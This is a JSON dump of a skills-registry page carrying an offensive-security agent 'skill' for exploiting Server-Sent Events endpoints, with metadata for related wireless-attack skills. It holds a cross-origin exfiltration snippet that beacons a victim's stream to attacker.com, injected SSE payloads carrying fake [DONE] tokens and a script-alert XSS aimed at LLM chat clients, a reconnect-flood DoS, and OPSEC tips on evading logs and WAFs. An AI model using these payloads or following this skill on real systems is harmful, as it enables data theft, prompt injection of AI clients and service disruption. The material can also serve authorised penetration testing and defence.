[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M7DFEZ8RXE2VWMVSFARDNBVH":3,"skill-same:01M7DFEZ8RXE2VWMVSFARDNBVH":50},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":16,"categories":17,"keywords":18,"publishedAt":19,"linkOnly":20,"markdownContent":21,"markdownBody":22,"frontMatter":23,"refName":30,"commitSha":31,"skillDirectory":32,"forksCount":14,"repositoryHtmlUrl":33,"repositoryHomepageUrl":6,"ownerHtmlUrl":34,"ownerBlogUrl":6,"ownerDescription":6,"updatedAt":35,"install":36,"resources":49},"01M7DFEZ8RXE2VWMVSFARDNBVH","api-server-sent-events",null,"Server-Sent Events (SSE \u002F EventSource) exploitation — origin abuse for cross-site streaming exfil, prompt-injection via SSE messages into LLM clients, retry-after token leak, fragmenting events to bypass content-type sniffers.","Akapi895\u002Fraptix","Akapi895","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F83953516?v=4","01M7DEGNDGERR4F4YETDFVA512","Phạm Anh Tuấn","01M7DEGNEHYZNA920AYM5EH7H8",0,"Apache-2.0","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fexploit\u002Fapi\u002Fserver-sent-events\u002FSKILL.md",[],[],"2026-11-15 14:19:17",false,"---\nname: api-server-sent-events\ndescription: \"Server-Sent Events (SSE \u002F EventSource) exploitation — origin abuse for cross-site streaming exfil, prompt-injection via SSE messages into LLM clients, retry-after token leak, fragmenting events to bypass content-type sniffers.\"\nallowed-tools: Bash Read Write\nmetadata:\n  when_to_use: \"sse server-sent-events eventsource text\u002Fevent-stream stream cross-origin retry id event\"\n  subdomain: api\n  tags: sse, eventsource, streaming\n  mitre_attack: T1190, T1185\n---\n\n# Server-Sent Events (SSE) Attack Surface\n\nSSE is one-way (server → browser) over HTTP\u002F1.1 or HTTP\u002F2 with `Content-Type: text\u002Fevent-stream`. Used by LLM chat UIs, live dashboards, progress notifications, log streamers.\n\n## Detect\n\n```bash\ncurl -sk -i https:\u002F\u002Ftarget\u002Fstream -H \"Accept: text\u002Fevent-stream\" | head\n# Look for: Content-Type: text\u002Fevent-stream\n# Body format:\n#   id: 42\n#   event: message\n#   data: {\"foo\":\"bar\"}\n#   (blank line ends one event)\n```\n\n## Top bug classes\n\n### 1. Cross-Origin streaming exfil (SSE doesn't enforce CORS for `EventSource`)\n`EventSource` honors the `Access-Control-Allow-Origin` header BUT many implementations forget to set it. If a server emits a CORS-permissive header for SSE, an attacker site can subscribe with the victim's cookies:\n\n```html\n\u003C!-- attacker.com -->\n\u003Cscript>\nconst es = new EventSource(\"https:\u002F\u002Ftarget\u002Fstream\", { withCredentials: true });\nes.onmessage = e => navigator.sendBeacon(\"https:\u002F\u002Fattacker.com\u002Fx\", e.data);\n\u003C\u002Fscript>\n```\n\nOften server's CORS config covers JSON endpoints but accidentally extends to SSE. Test by hitting from a third-party origin.\n\n### 2. Prompt injection into LLM chat clients\nMany LLM frontends consume SSE for streaming tokens. If the server doesn't sanitize, an attacker-controlled upstream can inject control tokens (`[DONE]`, special markers) that confuse the client:\n\n```\ndata: {\"choices\":[{\"delta\":{\"content\":\"\\u0000[DONE]\"}}]}\n\ndata: {\"choices\":[{\"delta\":{\"content\":\"\u003Cscript>alert(1)\u003C\u002Fscript>\"}}]}\n```\n\n### 3. Reconnection token leak via `Last-Event-ID`\nSSE allows resuming via the `Last-Event-ID` header. If `id:` lines carry session-state tokens, those tokens are sent on every reconnect — visible in HTTP access logs and to network proxies even on TLS-terminated intermediaries.\n\n```\nid: jwt-here-encoded\nevent: message\ndata: ...\n```\n\n### 4. Retry timing DoS\nServer sets `retry: 1000` on the wire. Attacker connects, instantly disconnects, repeats — server tracks reconnections in memory. Burst 10k clients → exhaustion.\n\n### 5. Fragmenting events past content-type sniffers\nA SSE stream with the first event being a JSON-shaped payload may be mis-classified by content-sniffers as JSON, enabling XSS in older IE\u002FEdge. (Niche but appears in legacy integrations.)\n\n## Tooling\n\n```bash\n# curl with --no-buffer for live view\ncurl -sk -N https:\u002F\u002Ftarget\u002Fstream\n\n# Python sseclient — programmatic\npython3 -c '\nimport sseclient, requests\nr = requests.get(\"https:\u002F\u002Ftarget\u002Fstream\", stream=True, headers={\"Accept\":\"text\u002Fevent-stream\"})\nfor ev in sseclient.SSEClient(r).events():\n    print(ev.id, ev.event, ev.data)\n'\n\n# Burp: SSE traffic shows in Proxy → HTTP history but with \"streaming\" indicator;\n# right-click → Send to Repeater works but won't display incremental events.\n```\n\n## OPSEC\n\n- SSE connections appear as long-lived 200 OK in logs. Server-side per-connection auth is often weak — disconnect cleanly to avoid stranded connection alerts.\n- WAFs typically don't inspect SSE bodies (they exit early on `Connection: keep-alive` + `text\u002Fevent-stream`).\n\n## References\n\n- WHATWG HTML Living Standard — Server-Sent Events section\n- \"SSE Considered Harmful?\" — Detectify research blog\n- LLM-frontend security writeups by simonw.net (Simon Willison) — prompt-injection-via-stream patterns\n","# Server-Sent Events (SSE) Attack Surface\n\nSSE is one-way (server → browser) over HTTP\u002F1.1 or HTTP\u002F2 with `Content-Type: text\u002Fevent-stream`. Used by LLM chat UIs, live dashboards, progress notifications, log streamers.\n\n## Detect\n\n```bash\ncurl -sk -i https:\u002F\u002Ftarget\u002Fstream -H \"Accept: text\u002Fevent-stream\" | head\n# Look for: Content-Type: text\u002Fevent-stream\n# Body format:\n#   id: 42\n#   event: message\n#   data: {\"foo\":\"bar\"}\n#   (blank line ends one event)\n```\n\n## Top bug classes\n\n### 1. Cross-Origin streaming exfil (SSE doesn't enforce CORS for `EventSource`)\n`EventSource` honors the `Access-Control-Allow-Origin` header BUT many implementations forget to set it. If a server emits a CORS-permissive header for SSE, an attacker site can subscribe with the victim's cookies:\n\n```html\n\u003C!-- attacker.com -->\n\u003Cscript>\nconst es = new EventSource(\"https:\u002F\u002Ftarget\u002Fstream\", { withCredentials: true });\nes.onmessage = e => navigator.sendBeacon(\"https:\u002F\u002Fattacker.com\u002Fx\", e.data);\n\u003C\u002Fscript>\n```\n\nOften server's CORS config covers JSON endpoints but accidentally extends to SSE. Test by hitting from a third-party origin.\n\n### 2. Prompt injection into LLM chat clients\nMany LLM frontends consume SSE for streaming tokens. If the server doesn't sanitize, an attacker-controlled upstream can inject control tokens (`[DONE]`, special markers) that confuse the client:\n\n```\ndata: {\"choices\":[{\"delta\":{\"content\":\"\\u0000[DONE]\"}}]}\n\ndata: {\"choices\":[{\"delta\":{\"content\":\"\u003Cscript>alert(1)\u003C\u002Fscript>\"}}]}\n```\n\n### 3. Reconnection token leak via `Last-Event-ID`\nSSE allows resuming via the `Last-Event-ID` header. If `id:` lines carry session-state tokens, those tokens are sent on every reconnect — visible in HTTP access logs and to network proxies even on TLS-terminated intermediaries.\n\n```\nid: jwt-here-encoded\nevent: message\ndata: ...\n```\n\n### 4. Retry timing DoS\nServer sets `retry: 1000` on the wire. Attacker connects, instantly disconnects, repeats — server tracks reconnections in memory. Burst 10k clients → exhaustion.\n\n### 5. Fragmenting events past content-type sniffers\nA SSE stream with the first event being a JSON-shaped payload may be mis-classified by content-sniffers as JSON, enabling XSS in older IE\u002FEdge. (Niche but appears in legacy integrations.)\n\n## Tooling\n\n```bash\n# curl with --no-buffer for live view\ncurl -sk -N https:\u002F\u002Ftarget\u002Fstream\n\n# Python sseclient — programmatic\npython3 -c '\nimport sseclient, requests\nr = requests.get(\"https:\u002F\u002Ftarget\u002Fstream\", stream=True, headers={\"Accept\":\"text\u002Fevent-stream\"})\nfor ev in sseclient.SSEClient(r).events():\n    print(ev.id, ev.event, ev.data)\n'\n\n# Burp: SSE traffic shows in Proxy → HTTP history but with \"streaming\" indicator;\n# right-click → Send to Repeater works but won't display incremental events.\n```\n\n## OPSEC\n\n- SSE connections appear as long-lived 200 OK in logs. Server-side per-connection auth is often weak — disconnect cleanly to avoid stranded connection alerts.\n- WAFs typically don't inspect SSE bodies (they exit early on `Connection: keep-alive` + `text\u002Fevent-stream`).\n\n## References\n\n- WHATWG HTML Living Standard — Server-Sent Events section\n- \"SSE Considered Harmful?\" — Detectify research blog\n- LLM-frontend security writeups by simonw.net (Simon Willison) — prompt-injection-via-stream patterns\n",{"name":5,"metadata":24,"description":7,"allowed-tools":29},{"tags":25,"subdomain":26,"when_to_use":27,"mitre_attack":28},"sse, eventsource, streaming","api","sse server-sent-events eventsource text\u002Fevent-stream stream cross-origin retry id event","T1190, T1185","Bash Read Write","master","8e5d356b795eae2edd4a26509a4b8968e2c4c251","packages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fexploit\u002Fapi\u002Fserver-sent-events","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix","https:\u002F\u002Fgithub.com\u002FAkapi895","2026-11-06 17:46:09",{"source":8,"skillName":5,"commands":37,"prompt":47,"zipAvailable":48},[38,41,44],{"tool":39,"command":40},"npx","npx skills add Akapi895\u002Fraptix --skill api-server-sent-events",{"tool":42,"command":43},"bunx","bunx skills add Akapi895\u002Fraptix --skill api-server-sent-events",{"tool":45,"command":46},"pnpm","pnpm dlx skills add Akapi895\u002Fraptix --skill api-server-sent-events","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fexploit\u002Fapi\u002Fserver-sent-events\u002FSKILL.md",true,[],[51,58,65,72,79,86],{"skillNo":52,"name":53,"nameZh":6,"description":54,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":55,"categories":56,"keywords":57,"publishedAt":19},"01M7DGM32SRP4FZSPYWY621BKQ","wps-pixie-dust","WPS Pixie-Dust offline nonce attack (reaver -K \u002F pixiewps) and fallback online PIN brute (bully) to recover the AP's WPA PSK without capturing a handshake.","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fwireless\u002Fwps-pixie-dust\u002FSKILL.md",[],[],{"skillNo":59,"name":60,"nameZh":6,"description":61,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":62,"categories":63,"keywords":64,"publishedAt":19},"01M7DGKXXVDTY0KBZZR83VFPZX","wpa3-sae","WPA3-SAE transition-mode downgrade (DragonShift), SSID Confusion CVE-2023-52424, Dragonblood side-channels, and SAE captive-portal credential recovery against WPA3-Personal networks.","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fwireless\u002Fwpa3-sae\u002FSKILL.md",[],[],{"skillNo":66,"name":67,"nameZh":6,"description":68,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":69,"categories":70,"keywords":71,"publishedAt":19},"01M7DGKSV77ENX3D6TG2HQX9MK","wpa2-psk","WPA\u002FWPA2-PSK handshake capture via targeted deauth + PMKID (no deauth required) + offline hashcat cracking. The most common consumer\u002FSMB encryption mode in 2026.","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fwireless\u002Fwpa2-psk\u002FSKILL.md",[],[],{"skillNo":73,"name":74,"nameZh":6,"description":75,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":76,"categories":77,"keywords":78,"publishedAt":19},"01M7DGKJ9R6YTFRFBSEAJRGGKF","wpa-enterprise-eap","WPA\u002FWPA2\u002FWPA3-Enterprise (802.1X\u002FEAP) rogue-RADIUS evil-twin for MSCHAPv2 capture, GTC downgrade, and PEAP relay. MSCHAPv2 capture equals a NetNTLM hash — the primary wireless on-ramp to Active Directory.","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fwireless\u002Fwpa-enterprise-eap\u002FSKILL.md",[],[],{"skillNo":80,"name":81,"nameZh":6,"description":82,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":83,"categories":84,"keywords":85,"publishedAt":19},"01M7DGKCFZGKK2EQMWZM1A18S8","krack-fragattacks","KRACK key-reinstallation (CVE-2017-13077..13082) and FragAttacks fragmentation\u002Faggregation flaws (CVE-2020-24586..24588, CVE-2020-26139..26147) against legacy or embedded 802.11 supplicants with poor patch cadence.","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fwireless\u002Fkrack-fragattacks\u002FSKILL.md",[],[],{"skillNo":87,"name":88,"nameZh":6,"description":89,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":90,"categories":91,"keywords":92,"publishedAt":19},"01M7DGK76MKZQWBXTZN82W7214","evil-twin-karma","Evil-twin rogue AP with KARMA\u002FMana PNL-probe response, captive-portal credential capture, and post-association MITM for PSK\u002Fopen networks. Distinct from wpa-enterprise-eap which targets 802.1X.","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fwireless\u002Fevil-twin-karma\u002FSKILL.md",[],[]]